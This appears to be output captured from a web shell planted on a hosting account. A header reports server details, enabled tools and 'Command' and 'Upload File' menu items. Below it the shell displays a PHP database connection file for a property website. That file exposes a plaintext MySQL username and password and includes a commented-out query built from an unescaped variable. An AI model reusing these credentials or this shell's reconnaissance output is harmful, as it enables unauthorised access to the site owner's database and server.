Server IP : 111.118.215.189 / Your IP : 3.145.209.229 Web Server : Apache System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : a1673wkz ( 2475) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home1/a1673wkz/propstonerealty.com/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php class db { protected $server="localhost"; protected $user="a1673wkz_propstone123"; protected $pass="propstone@123"; protected $db="a1673wkz_propstone"; protected $con; public function connect() { $this->con=mysqli_connect($this->server,$this->user,$this->pass,$this->db); if($this->con) { //echo "connected"; } else { echo "not connected".mysqli_error($con); } } public function query($sql) { $que=mysqli_query($this->con,$sql) or die(mysqli_error($this->con)); return 1; } public function row($check) { $que=mysqli_query($this->con,$check); $result=mysqli_num_rows($que); return $result; } public function arr($value) { $ar=mysqli_query($this->con,$value); $result=mysqli_fetch_array($ar); return $result; } public function num($value) { $ar=mysqli_query($this->con,$value); $result=mysqli_num_rows($ar); return $result; } public function fetch($query) { $abc=array(); $res=mysqli_query($this->con, $query); while($result=mysqli_fetch_assoc($res)) { $abc[]=$result; } return $abc; } // public function status($postid) // { // $sql="SELECT * FROM user_post WHERE id='$postid' && status='1'"; // $result=mysqli_query($this->con,$sql); // if(mysqli_num_rows($result)>0) // { // return 1; // } // else // { // return 0; // } // } } $obj=new db(); $obj->connect(); ?>